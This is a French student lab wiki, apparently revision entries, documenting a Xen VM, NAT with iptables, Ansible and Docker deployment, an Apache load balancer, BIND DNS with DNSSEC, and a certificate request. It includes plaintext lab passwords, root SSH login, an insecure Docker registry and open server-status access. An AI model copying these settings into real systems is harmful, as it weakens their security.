 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeurs en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55089</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55089"/>
				<updated>2020-12-20T15:10:51Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Création de notre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
